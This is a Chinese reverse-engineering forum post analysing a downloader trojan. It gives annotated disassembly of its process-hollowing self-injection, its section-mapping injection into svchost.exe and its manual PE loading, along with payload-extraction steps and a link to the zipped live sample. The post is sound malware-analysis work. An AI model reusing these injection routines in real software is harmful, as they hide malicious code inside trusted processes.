吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 38349|回复: 65
收起左侧

[PC样本分析] 下载者病毒分析

  [复制链接]
guoxiaobo93 发表于 2016-5-17 19:19
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 guoxiaobo93 于 2016-6-26 21:38 编辑

菜鸟第一次深入分析,哪里说错了,希望各位大神指出。{:1_931:}

基本信息

样本类型:application/x-dosexec               
样本文件MD5 校验值:96a8ef99b4b81642057340e400860242
样本文件SHA1 校验值:74f8bad507250d4b75026d534b625f24b74c03e7
编译器信息:COMPILER:Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation *

网络症状

图片1.png

病毒主要行为:
1、更改注册表启动项
2、自我复制删除
3、下载文件
------------------------------------------------------------------------------华丽分割线------------------------------------------------------------------------------------
知识点:PE结构、PEB 、注入方式等等
最让我感兴趣的是具体代码的分析(病毒被包了三层):
第一层:以挂起的方式启动自身,使用VirtualAllocEx、WriteProcessMemory等函数,实现对代码的注入
第二层:以挂起的方式启动svhost.exe,使用NtCreateSection、ZwMapViewOfSection、ZwUnmapViewOfSection等函数实现程序的注入功能
第三层:使用VirtualAlloc在进程空间申请一块内存空间,手动将代码复制到空间中并对其进行修复重定位操作
第四层:见到病毒源码
第一层:

      通过CreateProcess创建一个傀儡进程(称之为可执行程序A),并把dwCreationFlags
设置为CREATE_SUSPENDED,然后把另一个可执行程序(称之为可执行程序B)的内容加载
到所创建的进程空间中,最终借用傀儡进程(A)的外壳来执行可执行程序B的内容。
第一步:
[Asm] 纯文本查看 复制代码
.text:4F401B54                loc_4F401B54:                           ; CODE XREF: WinMain(x,x,x,x)+24Ej
.text:4F401B54 8B C6                          mov     eax, esi
.text:4F401B56 E8 A0 FA FF FF                 call    sub_4F4015FB    ; 以挂起的方式启动自身,注入代码,修改EIP执行自己的代码
.text:4F401B5B 85 C0                          test    eax, eax
.text:4F401B5D 75 DF                          jnz     short loc_4F401B3E
第二步:进入call sub_4F4015FB进行分析
先使用GetModuleFielNameA获得当前进程的全路径,使用CreateProcessA以CREATE_SUSPENDED(挂起)方式创建进程
[Asm] 纯文本查看 复制代码
.text:4F401646 56                             push    esi
.text:4F401647 8B 77 3C                       mov     esi, [edi+3Ch]
.text:4F40164A 03 F7                          add     esi, edi
.text:4F40164C 81 3E 50 45 00+                cmp     dword ptr [esi], 4550h
.text:4F401652 0F 85 99 01 00+                jnz     loc_4F4017F1
.text:4F401658 68 80 00 00 00                 push    80h
.text:4F40165D 8D 85 14 FF FF+                lea     eax, [ebp+var_EC]
.text:4F401663 50                             push    eax
.text:4F401664 53                             push    ebx
.text:4F401665 FF 15 70 BB 41+                call    gxbGetModuleFielNameA
.text:4F40166B 8D 45 E4                       lea     eax, [ebp+var_1C.field_0.hProcess]
.text:4F40166E 50                             push    eax
.text:4F40166F 8D 45 94                       lea     eax, [ebp+var_6C]
.text:4F401672 50                             push    eax
.text:4F401673 53                             push    ebx
.text:4F401674 53                             push    ebx
.text:4F401675 6A 04                          push    4               ; CREATE_SUSPENDED
.text:4F401677 53                             push    ebx
.text:4F401678 53                             push    ebx
.text:4F401679 53                             push    ebx
.text:4F40167A 53                             push    ebx
.text:4F40167B 8D 85 14 FF FF+                lea     eax, [ebp+var_EC]
.text:4F401681 50                             push    eax
.text:4F401682 FF 15 5C BB 41+                call    gxbGreateProcessA ; 以挂起的方式创建本进程
.text:4F401688 85 C0                          test    eax, eax
.text:4F40168A 75 07                          jnz     short PAGE_READWRITE ; flProtect 内存的初始化保护属性
.text:4F40168C 6A 07                          push    7
.text:4F40168E E9 60 01 00 00                 jmp     loc_4F4017F3
第三步:
      使用GetThreadContext获取进程上下文,其中ebx寄存器指向进程的PEB,eax寄存器的值为进程的入口点地址。
通过PEB来获取进程的基地址,如[EBX + 8]
[Asm] 纯文本查看 复制代码
.text:4F40169C 53                             push    ebx             ; lpAddress ????
.text:4F40169D FF 15 64 BB 41+                call    gxbVirtualAlloc
.text:4F4016A3 50                             push    eax
.text:4F4016A4 C7 00 07 00 01+                mov     dword ptr [eax], 10007h ; CONTEXT_FULL
.text:4F4016AA FF 75 E8                       push    [ebp+var_1C.field_0.hThread] ; hThread
.text:4F4016AD 89 45 DC                       mov     [ebp+Context], eax
.text:4F4016B0 FF 15 60 BB 41+                call    gxbGetThreadConext ; 获取进程上下文
.text:4F4016B6 85 C0                          test    eax, eax
.text:4F4016B8 0F 84 24 01 00+                jz      loc_4F4017E2
.text:4F4016BE 8B 45 D8                       mov     eax, [ebp+var_28] ; 0x000000E8
.text:4F4016C1 3B 46 34                       cmp     eax, [esi+34h]  ; 程序默认的加载基址
.text:4F4016C4 75 0C                          jnz     short loc_4F4016D2 ; 通过PEB获取进程的基地址
.text:4F4016C6 50                             push    eax             ; 取消可执行程序的映像映射
.text:4F4016C7 FF 75 E4                       push    [ebp+var_1C.field_0.hProcess]
.text:4F4016CA FF 15 30 BB 41+                call    gxbZwUnmapViewOfSection
.text:4F4016D0 EB 1D                          jmp     short loc_4F4016EF
.text:4F4016D2                ; ---------------------------------------------------------------------------
.text:4F4016D2
.text:4F4016D2                loc_4F4016D2:                           ; CODE XREF: sub_4F4015FB+C9j
.text:4F4016D2 53                             push    ebx             ; 通过PEB获取进程的基地址
.text:4F4016D3 6A 04                          push    4
.text:4F4016D5 8D 45 D8                       lea     eax, [ebp+var_28]
.text:4F4016D8 50                             push    eax
.text:4F4016D9 8B 45 DC                       mov     eax, [ebp+Context]
.text:4F4016DC 8B 80 A4 00 00+                mov     eax, [eax+0A4h]
.text:4F4016E2 83 C0 08                       add     eax, 8
.text:4F4016E5 50                             push    eax
.text:4F4016E6 FF 75 E4                       push    [ebp+var_1C.field_0.hProcess]
.text:4F4016E9 FF 15 58 BB 41+                call    gxbReadProcessMemory
第四步:
     在进程的加载基址处,申请空间
[Asm] 纯文本查看 复制代码
.text:4F4016EF                loc_4F4016EF:                           ; CODE XREF: sub_4F4015FB+D5j
.text:4F4016EF 83 46 50 9C                    add     dword ptr [esi+50h], 0FFFFFF9Ch
.text:4F4016F3 8B 46 50                       mov     eax, [esi+50h]  ; SizeOfImage
.text:4F4016F6 6A 40                          push    40h             ; flProtect
.text:4F4016F8 68 00 30 00 00                 push    3000h           ; flAllocationType
.text:4F4016FD 83 C0 64                       add     eax, 64h
.text:4F401700 50                             push    eax             ; dwSize
.text:4F401701 FF 76 34                       push    dword ptr [esi+34h] ; lpAddress   模块的加载基址
.text:4F401704 FF 75 E4                       push    [ebp+var_1C.field_0.hProcess] ; hProcess
.text:4F401707 FF 15 4C BB 41+                call    gxbVirtualAllocEx ; 在挂起进程的加载基址处,申请空间
.text:4F40170D 83 46 50 64                    add     dword ptr [esi+50h], 64h
.text:4F401711 89 45 FC                       mov     [ebp+BprocessMem], eax
.text:4F401714 8B 46 50                       mov     eax, [esi+50h]
.text:4F401717 39 5D FC                       cmp     [ebp+BprocessMem], ebx
.text:4F40171A 0F 84 9D 00 00+                jz      loc_4F4017BD
第五步:
    根据PE结构,计算出PE头和各个节的大小。先将头放进去,在循环节,将节逐渐放入进程中。通过调用SetThreadContext来设置线程的上下文。通过调用ResumeThread来执行被挂起的进程。
[Asm] 纯文本查看 复制代码
.text:4F40177F 8B 7D DC                       mov     edi, [ebp+Context] ; 使程序从基地址开始执行
.text:4F401782 53                             push    ebx
.text:4F401783 6A 04                          push    4               ; 写入的个数
.text:4F401785 8D 46 34                       lea     eax, [esi+34h]
.text:4F401788 50                             push    eax             ; 最后一个buffer
.text:4F401789 8B 87 A4 00 00+                mov     eax, [edi+0A4h]
.text:4F40178F 83 C0 08                       add     eax, 8
.text:4F401792 50                             push    eax
.text:4F401793 FF 75 E4                       push    [ebp+var_1C.field_0.hProcess]
.text:4F401796 FF 15 68 BB 41+                call    gxbWriteProcessMemory
.text:4F40179C 8B 46 28                       mov     eax, [esi+28h]
.text:4F40179F 03 45 FC                       add     eax, [ebp+BprocessMem]
.text:4F4017A2 57                             push    edi
.text:4F4017A3 89 87 B0 00 00+                mov     [edi+0B0h], eax
.text:4F4017A9 FF 75 E8                       push    [ebp+var_1C.field_0.hThread]
.text:4F4017AC FF 15 24 BB 41+                call    gxbSetThreadContext
.text:4F4017B2 FF 75 E8                       push    [ebp+var_1C.field_0.hThread]
.text:4F4017B5 FF 15 6C BB 41+                call    gxbResumeThread
.text:4F4017BB EB 20                          jmp     short loc_4F4017DD
第六步:提取注入代码
该病毒将代码进行了压缩和加密,执行中使用了RtlDecompressBuffer对代码进行了还原。在这里我们使用OD对注入代码进行提取:
将还原后的代码放在了local.3中,数据窗口跟随,看到了MZ PE等典型的可执行文件格式。
文件提取步骤:(有更好的提取方法,请告知)
1、选中数据窗口中可执行文件全部,右键二进制选择二进制复制
2、新建.txt文件。(我使用的是010eidt查看PE格式的)打开010edit选择十六进制导入。
3、文件导入成功

NIG4P3GAU(TLGZ}NH_WJH}B.png
第二层
技术概述:
       向createprocess传递一个参数CREATE_SUSPENDED使创建的svhost.exe挂起。使用NtCreateSection创建共享内存块,使用ZwMapViewOfSection对共享内存进行映射。父进程映射完毕后向其中写入需要注入的dll(不需要重定位,在svhost.exe调用ZwMapViewOfSection时,会自动进行重定位操作);随后病毒,申请一块比较大的空间,将svhost.exe整个PE结构读取到本进行中,在程序的入口地址处构造:nop ;push  地址(svhost.exe的映射地址);retn; 实现代码的跳转。使用NtCreateSection创建新的共享内存块,使用ZwMapViewOfSection映射到svhost.exe进程空间中的指定位置。
详细分析:
1、创建svhost.exe进程。使用NtCreateSection创建共享内存块,在父进程中使用ZwMapViewOfSection对共享内存进行映射
[Asm] 纯文本查看 复制代码
.text:0041201E
.text:0041201E                loc_41201E:                             ; CODE XREF: start+132j
.text:0041201E C7 45 88 44 00+                mov     dword ptr [ebp-78h], 44h ; 1、以挂起的方式创建Svhost.exe进程
.text:0041201E 00 00                                                  ; 2、在当前进程空间中创建共享内存
.text:00412025 90                             nop
.text:00412026 8D 95 14 FE FF+                lea     edx, [ebp+ProcessInformation]
.text:0041202C 52                             push    edx             ; lpProcessInformation
.text:0041202D 8D 45 88                       lea     eax, [ebp+StartupInfo]
.text:00412030 50                             push    eax             ; lpStartupInfo
.text:00412031 6A 00                          push    0               ; lpCurrentDirectory
.text:00412033 6A 00                          push    0               ; lpEnvironment
.text:00412035 6A 04                          push    4               ; dwCreationFlags
.text:00412037 6A 00                          push    0               ; bInheritHandles
.text:00412039 6A 00                          push    0               ; lpThreadAttributes
.text:0041203B 6A 00                          push    0               ; lpProcessAttributes
.text:0041203D 68 C8 10 40 00                 push    offset CommandLine ; "svchost.exe"
.text:00412042 6A 00                          push    0               ; lpApplicationName
.text:00412044 FF 15 30 10 40+                call    CreateProcessA  ; 创建挂起进程,svchost.exe
.text:0041204A 8B 8D 14 FE FF+                mov     ecx, [ebp+ProcessInformation.hProcess]
.text:00412050 89 8D 40 FF FF+                mov     [ebp+svchost_hProcess], ecx
.text:00412056 8B 95 18 FE FF+                mov     edx, [ebp+ProcessInformation.hThread]
.text:0041205C 89 95 64 FF FF+                mov     [ebp+svchost_hThread], edx
.text:00412062 6A 00                          push    0
.text:00412064 6A 18                          push    18h
.text:00412066 8D 45 E8                       lea     eax, [ebp+PROCESS_BASIC_INFORMATION]
.text:00412069 50                             push    eax
.text:0041206A 6A 00                          push    0
.text:0041206C 8B 8D 40 FF FF+                mov     ecx, [ebp+svchost_hProcess]
.text:00412072 51                             push    ecx
.text:00412073 FF 95 44 FF FF+                call    [ebp+NtQueryInformationProcess] ; 填充PROCESS_BASIC_INFORMATION,获取进程信息
.text:00412079 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:0041207F 8B 55 EC                       mov     edx, [ebp+PROCESS_BASIC_INFORMATION.PebBaseAddress]
.text:00412082 83 C2 08                       add     edx, 8
.text:00412085 89 95 00 FE FF+                mov     [ebp+svchost_PImageBaseAddress], edx ; 获取程序的加载基址
.text:0041208B 8D 85 4C FF FF+                lea     eax, [ebp+ReadrealLenth]
.text:00412091 50                             push    eax
.text:00412092 6A 04                          push    4
.text:00412094 8D 8D 68 FF FF+                lea     ecx, [ebp+svchost_ImageBaseAddress]
.text:0041209A 51                             push    ecx
.text:0041209B 8B 95 00 FE FF+                mov     edx, [ebp+svchost_PImageBaseAddress]
.text:004120A1 52                             push    edx
.text:004120A2 8B 85 40 FF FF+                mov     eax, [ebp+svchost_hProcess]
.text:004120A8 50                             push    eax
.text:004120A9 FF 95 2C FE FF+                call    [ebp+ZwReadVirtualMemory] ; 读取Svhost.exe进程的加载基址
.text:004120AF 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:004120B5 8B 4D D4                       mov     ecx, [ebp+var_copySize]
.text:004120B8 89 8D 08 FE FF+                mov     [ebp+FirstSum], ecx
.text:004120BE C7 85 0C FE FF+                mov     [ebp+var_1F4], 0
.text:004120C8 6A 00                          push    0
.text:004120CA 68 00 00 00 08                 push    8000000h
.text:004120CF 6A 40                          push    40h
.text:004120D1 8D 95 08 FE FF+                lea     edx, [ebp+FirstSum]
.text:004120D7 52                             push    edx             ; MaximumSize
.text:004120D8 6A 00                          push    0
.text:004120DA 68 1F 00 0F 00                 push    0F001Fh
.text:004120DF 8D 45 E0                       lea     eax, [ebp+FirstSectionHandle]
.text:004120E2 50                             push    eax
.text:004120E3 FF 95 5C FF FF+                call    [ebp+NtCreateSection] ; 创建共享内存区
.text:004120E9 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:004120EF C7 85 70 FF FF+                mov     [ebp+mapAddress], 0
.text:004120F9 8B 4D D4                       mov     ecx, [ebp+var_copySize]
.text:004120FC 89 8D 24 FE FF+                mov     [ebp+ViewSize], ecx
.text:00412102 6A 40                          push    40h
.text:00412104 6A 00                          push    0
.text:00412106 6A 01                          push    1
.text:00412108 8D 95 24 FE FF+                lea     edx, [ebp+ViewSize]
.text:0041210E 52                             push    edx
.text:0041210F 6A 00                          push    0
.text:00412111 6A 00                          push    0
.text:00412113 6A 00                          push    0
.text:00412115 8D 85 70 FF FF+                lea     eax, [ebp+mapAddress]
.text:0041211B 50                             push    eax
.text:0041211C 6A FF                          push    0FFFFFFFFh
.text:0041211E 8B 4D E0                       mov     ecx, [ebp+FirstSectionHandle]
.text:00412121 51                             push    ecx
.text:00412122 FF 95 48 FF FF+                call    [ebp+ZwMapViewOfSection] ; 当前进程映射共享内存
.text:00412128 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:0041212E C7 45 84 00 00+                mov     [ebp+var_7C], 0
.text:00412135 EB 09                          jmp     short loc_412140 ; 循环118h此
第二步:
申请一块比较大的空间,将svhost.exe整个PE结构读取到本进行中,在程序的入口地址处构造:nop ;push  地址(svhost.exe的映射地址);retn; 实现代码的跳转;
注意:
1、程序的加载基址通过NtQueryInformationProcess获取,使用函数ZwReadVirtualMemory读取目标进程指定位置内容
2、获取整个PE结构的时候,先获取一部分,根据PE头,计算出全部大小,第二次全部获取。
[Asm] 纯文本查看 复制代码
text:004121A4 6A 40                          push    40h             ; flProtect
.text:004121A6 68 00 30 00 00                 push    3000h           ; flAllocationType
.text:004121AB 68 00 00 50 00                 push    500000h         ; dwSize
.text:004121B0 6A 00                          push    0               ; lpAddress
.text:004121B2 FF 15 18 10 40+                call    VirtualAlloc
.text:004121B8 89 85 74 FF FF+                mov     [ebp+svhost_PE], eax
.text:004121BE 8D 85 4C FF FF+                lea     eax, [ebp+ReadrealLenth]
.text:004121C4 50                             push    eax
.text:004121C5 68 00 10 00 00                 push    1000h
.text:004121CA 8B 8D 74 FF FF+                mov     ecx, [ebp+svhost_PE]
.text:004121D0 51                             push    ecx
.text:004121D1 8B 95 68 FF FF+                mov     edx, [ebp+svchost_ImageBaseAddress]
.text:004121D7 52                             push    edx
.text:004121D8 8B 85 40 FF FF+                mov     eax, [ebp+svchost_hProcess]
.text:004121DE 50                             push    eax
.text:004121DF FF 95 2C FE FF+                call    [ebp+ZwReadVirtualMemory] ; 第一次读取目标进程数据
.text:004121E5 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:004121EB 8B 8D 74 FF FF+                mov     ecx, [ebp+svhost_PE]
.text:004121F1 8B 95 74 FF FF+                mov     edx, [ebp+svhost_PE] ; DOS
.text:004121F7 03 51 3C                       add     edx, [ecx+3Ch]
.text:004121FA 89 95 6C FF FF+                mov     [ebp+svhost_NT], edx ; NT
.text:00412200 8B 85 6C FF FF+                mov     eax, [ebp+svhost_NT]
.text:00412206 8B 48 50                       mov     ecx, [eax+50h]
.text:00412209 89 4D D0                       mov     [ebp+svhost_SizeOfImage], ecx ; sizeOfImage
.text:0041220C 8B 95 6C FF FF+                mov     edx, [ebp+svhost_NT]
.text:00412212 8B 42 28                       mov     eax, [edx+28h]
.text:00412215 89 85 28 FE FF+                mov     [ebp+svhost_addressOfEntyPoint], eax ; 程序执行入口
.text:0041221B 8D 8D 4C FF FF+                lea     ecx, [ebp+ReadrealLenth]
.text:00412221 51                             push    ecx
.text:00412222 8B 55 D0                       mov     edx, [ebp+svhost_SizeOfImage] ; 内存中映像总尺寸
.text:00412225 52                             push    edx
.text:00412226 8B 85 74 FF FF+                mov     eax, [ebp+svhost_PE]
.text:0041222C 50                             push    eax
.text:0041222D 8B 8D 68 FF FF+                mov     ecx, [ebp+svchost_ImageBaseAddress]
.text:00412233 51                             push    ecx
.text:00412234 8B 95 40 FF FF+                mov     edx, [ebp+svchost_hProcess]
.text:0041223A 52                             push    edx
.text:0041223B FF 95 2C FE FF+                call    [ebp+ZwReadVirtualMemory] ; 读取加载模块中的全部数据
.text:00412241 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:00412247 C7 85 60 FF FF+                mov     [ebp+secondSection], 0
.text:00412251 8B 45 D0                       mov     eax, [ebp+svhost_SizeOfImage]
.text:00412254 89 85 08 FE FF+                mov     [ebp+FirstSum], eax
.text:0041225A C7 85 0C FE FF+                mov     [ebp+var_1F4], 0
.text:00412264 6A 00                          push    0
.text:00412266 68 00 00 00 08                 push    8000000h
.text:0041226B 6A 40                          push    40h
.text:0041226D 8D 8D 08 FE FF+                lea     ecx, [ebp+FirstSum] ; 映像总尺寸
.text:00412273 51                             push    ecx
.text:00412274 6A 00                          push    0
.text:00412276 68 1F 00 0F 00                 push    0F001Fh
.text:0041227B 8D 95 60 FF FF+                lea     edx, [ebp+secondSection]
.text:00412281 52                             push    edx
.text:00412282 FF 95 5C FF FF+                call    [ebp+NtCreateSection] ; 创建共享内存块
.text:00412288 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:0041228E 8B 45 D0                       mov     eax, [ebp+svhost_SizeOfImage]
.text:00412291 89 85 24 FE FF+                mov     [ebp+ViewSize], eax
.text:00412297 C7 85 70 FF FF+                mov     [ebp+mapAddress], 0
.text:004122A1 6A 40                          push    40h
.text:004122A3 6A 00                          push    0
.text:004122A5 6A 01                          push    1
.text:004122A7 8D 8D 24 FE FF+                lea     ecx, [ebp+ViewSize]
.text:004122AD 51                             push    ecx             ; ViewSize
.text:004122AE 6A 00                          push    0
.text:004122B0 6A 00                          push    0
.text:004122B2 6A 00                          push    0
.text:004122B4 8D 95 70 FF FF+                lea     edx, [ebp+mapAddress]
.text:004122BA 52                             push    edx
.text:004122BB 6A FF                          push    0FFFFFFFFh      ; ProcessHandle 当前进程内容
.text:004122BD 8B 85 60 FF FF+                mov     eax, [ebp+secondSection]
.text:004122C3 50                             push    eax             ; 共享内存模块
.text:004122C4 FF 95 48 FF FF+                call    [ebp+ZwMapViewOfSection] ; 当前线程创建共享内存映射
.text:004122CA 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
.text:004122D0 8B 8D 74 FF FF+                mov     ecx, [ebp+svhost_PE]
.text:004122D6 03 8D 28 FE FF+                add     ecx, [ebp+svhost_addressOfEntyPoint]
.text:004122DC C6 01 90                       mov     byte ptr [ecx], 90h ; nop
.text:004122DF 8B 95 74 FF FF+                mov     edx, [ebp+svhost_PE]
.text:004122E5 03 95 28 FE FF+                add     edx, [ebp+svhost_addressOfEntyPoint]
.text:004122EB C6 42 01 68                    mov     byte ptr [edx+1], 68h ; push
.text:004122EF 8B 85 74 FF FF+                mov     eax, [ebp+svhost_PE]
.text:004122F5 03 85 28 FE FF+                add     eax, [ebp+svhost_addressOfEntyPoint]
.text:004122FB 8B 4D D8                       mov     ecx, [ebp+firstMemAddress]
.text:004122FE 89 48 02                       mov     [eax+2], ecx    ; 地址
.text:00412301 8B 95 74 FF FF+                mov     edx, [ebp+svhost_PE]
.text:00412307 03 95 28 FE FF+                add     edx, [ebp+svhost_addressOfEntyPoint]
.text:0041230D C6 42 06 C3                    mov     byte ptr [edx+6], 0C3h ; nop
第三步:
使用NtCreateSection创建新的共享内存块,使用ZwMapViewOfSection映射到svhost.exe进程空间中的指定位置。
注意:第三个参数。当为零时,映射位置交给系统,当为非零时,映射位置为指定位置。
[Asm] 纯文本查看 复制代码
text:0041235B 8B 4D D0                       mov     ecx, [ebp+svhost_SizeOfImage]
.text:0041235E 89 8D 24 FE FF+                mov     [ebp+ViewSize], ecx
.text:00412364 8B 95 68 FF FF+                mov     edx, [ebp+svchost_ImageBaseAddress]
.text:0041236A 89 95 70 FF FF+                mov     [ebp+mapAddress], edx
.text:00412370 6A 40                          push    40h
.text:00412372 6A 00                          push    0
.text:00412374 6A 01                          push    1
.text:00412376 8D 85 24 FE FF+                lea     eax, [ebp+ViewSize]
.text:0041237C 50                             push    eax
.text:0041237D 6A 00                          push    0
.text:0041237F 6A 00                          push    0
.text:00412381 6A 00                          push    0
.text:00412383 8D 8D 70 FF FF+                lea     ecx, [ebp+mapAddress]
.text:00412389 51                             push    ecx             ; 映射到svhost.exe指定位置
.text:0041238A 8B 95 40 FF FF+                mov     edx, [ebp+svchost_hProcess]
.text:00412390 52                             push    edx
.text:00412391 8B 85 60 FF FF+                mov     eax, [ebp+secondSection]
.text:00412397 50                             push    eax
.text:00412398 FF 95 48 FF FF+                call    [ebp+ZwMapViewOfSection] ; 将第二块共享内存,映射到Svhost.exe空间中
.text:0041239E 89 85 3C FF FF+                mov     [ebp+NTqInfoRE], eax
第四步:
注入代码提取
[Asm] 纯文本查看 复制代码
text:00412140                loc_412140:                             ; CODE XREF: start+255j
.text:00412140 8B 45 84                       mov     eax, [ebp+var_7C] ; 将"数据" 移动到"共享内存区域"中
.text:00412143 3B 45 D4                       cmp     eax, [ebp+var_copySize]
.text:00412146 73 17                          jnb     short loc_41215F ; 在svhost.exe进程空间中创建内容
.text:00412148 B9 E0 10 40 00                 mov     ecx, offset InjectCode ; InjectCode 注入代码位置
.text:0041214D 03 4D 84                       add     ecx, [ebp+var_7C]
.text:00412150 8B 95 70 FF FF+                mov     edx, [ebp+mapAddress]
.text:00412156 03 55 84                       add     edx, [ebp+var_7C]
.text:00412159 8A 01                          mov     al, [ecx]
.text:0041215B 88 02                          mov     [edx], al
.text:0041215D EB D8                          jmp     short loc_41213
第三层:
技术概述:
       代码开始的时候,先通过PEB中 _PEB_LDR_DATA结构获取InMemoryOrderModuleList;遍历进程空间中的模块获取kernel32.dll,通过对比导出函数名获取GetProcAddress的序号,通过序号获取地址。使用GetProcAddress获取各个函数的地址。在当前进程空间以可执行权限申请一块空间,以内存对齐的方式向空间中写入整个结构,遍历重定位表,手动对其进行重定位。通过CALL跳到虚拟空间入口地址出。
详细解释:
第一步:
代码开始的时候,先通过PEB中 _PEB_LDR_DATA结构获取InMemoryOrderModuleList....(代码较多,建议查看附件)
[Asm] 纯文本查看 复制代码
.text:004010ED FC                             cld
.text:004010EE 33 D2                          xor     edx, edx
.text:004010F0 64 8B 15 30 00+                mov     edx, large fs:30h ; 进程PEB
.text:004010F7 8B 52 0C                       mov     edx, [edx+0Ch]  ; _PEB_LDR_DATA
.text:004010FA 8B 52 14                       mov     edx, [edx+14h]  ; InMemoryOrderModuleList
第二步:
在当前进程空间以可执行权限申请一块空间,以内存对齐的方式向空间中写入整个结构
[Asm] 纯文本查看 复制代码
.text:00401301 6A 40                          push    40h[/align][align=left].text:00401303 68 00 10 00 00                 push    1000h           ; MEM_COMMIT
.text:00401303                                                        ; 区域可以执行代码,应用程序可以读写该区域。
.text:00401308 BF 00 00 08 00                 mov     edi, 80000h
.text:0040130D 57                             push    edi
.text:0040130E 53                             push    ebx
.text:0040130F 89 45 F4                       mov     [ebp+var_DOS], eax ; eax == 00401580 此位置为注入代码
.text:00401312 FF 55 E8                       call    [ebp+var_base_VirtualAlloc]
.text:00401315 57                             push    edi             ; size_t n
.text:00401316 53                             push    ebx             ; int ch
.text:00401317 50                             push    eax             ; void *s
.text:00401318 89 45 F8                       mov     [ebp+var_virtualSpace], eax
.text:0040131B FF 55 F0                       call    [ebp+memset_SectionSize]
.text:0040131E 8B 45 F4                       mov     eax, [ebp+var_DOS]
.text:00401321 8B 78 3C                       mov     edi, [eax+3Ch]
.text:00401324 03 F8                          add     edi, eax        ; edi == PE头
.text:00401326 0F B7 47 14                    movzx   eax, word ptr [edi+14h] ; SizeOfOptionHeader 扩展头大小
.text:0040132A 33 C9                          xor     ecx, ecx
.text:0040132C 83 C4 0C                       add     esp, 0Ch
.text:0040132F 8D 44 38 20                    lea     eax, [eax+edi+20h] ; pe头地址+扩展头大小+20h == 第一个区段的virtualsize
.text:00401333 89 5D FC                       mov     [ebp+reCount], ebx
.text:00401336 66 3B 4F 06                    cmp     cx, [edi+6]     ; NumberOfSection
.text:0040133A 73 40                          jnb     short loc_40137C
.text:0040133C 89 45 F0                       mov     [ebp+memset_SectionSize], eax
.text:0040133F EB 03                          jmp     short loc_401344 ; VirtualAddress
第三步:
遍历重定位表,手动对其进行重定位。(根据地址,查看附件)
[Asm] 纯文本查看 复制代码
.text:004013D2                loc_4013D2:                             ; CODE XREF: injection+2AEj
.text:004013D2 39 18                          cmp     [eax], ebx      ; 重定位操作是否完毕
.text:004013D4 75 BA                          jnz     short loc_401390

第四步:
通过CALL跳到虚拟空间入口地址出。
[Asm] 纯文本查看 复制代码
text:004014BE 0F B7 04 48                    movzx   eax, word ptr [eax+ecx*2]
.text:004014C2 0F B7 4D E8                    movzx   ecx, word ptr [ebp+var_base_VirtualAlloc]
.text:004014C6 2B C1                          sub     eax, ecx
.text:004014C8 8B 8D 58 FF FF+                mov     ecx, [ebp+LoadLibraryA]
.text:004014CE 8B 74 81 04                    mov     esi, [ecx+eax*4+4]
.text:004014D2 8B 47 28                       mov     eax, [edi+28h]  ; 程序入口地址
.text:004014D5 03 45 F8                       add     eax, [ebp+var_virtualSpace]
.text:004014D8 03 75 F8                       add     esi, [ebp+var_virtualSpace]
.text:004014DB 53                             push    ebx
.text:004014DC 6A 01                          push    1
.text:004014DE 53                             push    ebx
.text:004014DF FF D0                          call    eax             ; 改变当前EIP跳转到虚拟空间中的入口地址中
.text:004014E1 FF D6                          call    esi

第五步:
注入代码提取,将函数返回结果,进行运算,最后计算的出 eax == 00401580。
导出步骤:
1、IDA 中Hex View -1 选中需要保存的PE结构(选中大小,需要自己计算得出)
2、右键选择Save to file

[Asm] 纯文本查看 复制代码
text:004012F2 E8 F1 01 00 00                 call    gxb_GetPE       ; 33 13 54 8A 查询此字符串,获取其后面的地址
.text:004012F7 A8 0F                          test    al, 0Fh         ; 00401574
.text:004012F9 74 06                          jz      short loc_401301
.text:004012FB 83 E0 F0                       and     eax, 0FFFFFFF0h
.text:004012FE 83 C0 10                       add     eax, 10h
.text:00401301
.text:00401301                loc_401301:                             ; CODE XREF: injection+219j
.text:00401301 6A 40                          push    40h
.text:00401303 68 00 10 00 00                 push    1000h           ; MEM_COMMIT
.text:00401303                                                        ; 区域可以执行代码,应用程序可以读写该区域。
.text:00401308 BF 00 00 08 00                 mov     edi, 80000h
.text:0040130D 57                             push    edi
.text:0040130E 53                             push    ebx
.text:0040130F 89 45 F4                       mov     [ebp+var_DOS], eax ; eax == 00401580 此位置为注入代码

至此,整个代码的对抗结束了。剩下的就是分析病毒实体,查看导入函数的引用,就可以定位代码恶意行为。(getproaddress 函数的出现需要着重看,他可以动态导入函数)
简单解毒方案:
删除:c:\\Users\\storm\\AppData\\Local\\文件名.exe(注:文件名为随机9位字母)的文件,重启电脑。
附件内容:
      附件内容为我分析整个病毒文件的IDA文件和OD临时文件(将OD临时文件放在UDD中,并将病毒文件重命名为a.exe即可使用)。

IDA.zip

1003.76 KB, 下载次数: 55, 下载积分: 吾爱币 -1 CB

OD.zip

67.34 KB, 下载次数: 26, 下载积分: 吾爱币 -1 CB

病毒.zip

73.05 KB, 下载次数: 201, 下载积分: 吾爱币 -1 CB

解压密码:52pojie

免费评分

参与人数 27吾爱币 +2 热心值 +27 收起 理由
siuhoapdou + 1 + 1 谢谢@Thanks!
FallStop + 1 + 1 我很赞同!
so丶小静 + 1 我很赞同!
沙滩上de水瓶 + 1 膜拜大神!!!
薄年再无木小白 + 1 已答复!
74l1380819wwj + 1 我很赞同!
Tomatoman + 1 谢谢@Thanks!
果子哟 + 1 谢谢@Thanks!
hlrlqy + 1 谢谢@Thanks!
陈呵呵好 + 1 鼓励转贴优秀软件安全工具和文档!
狗蛋老汉 + 1 热心回复!
冰の零点 + 1 谢谢@Thanks!
Lnairan + 1 谢谢@Thanks!
hzy99 + 1 用心讨论,共获提升!
menghun + 1 热心回复!
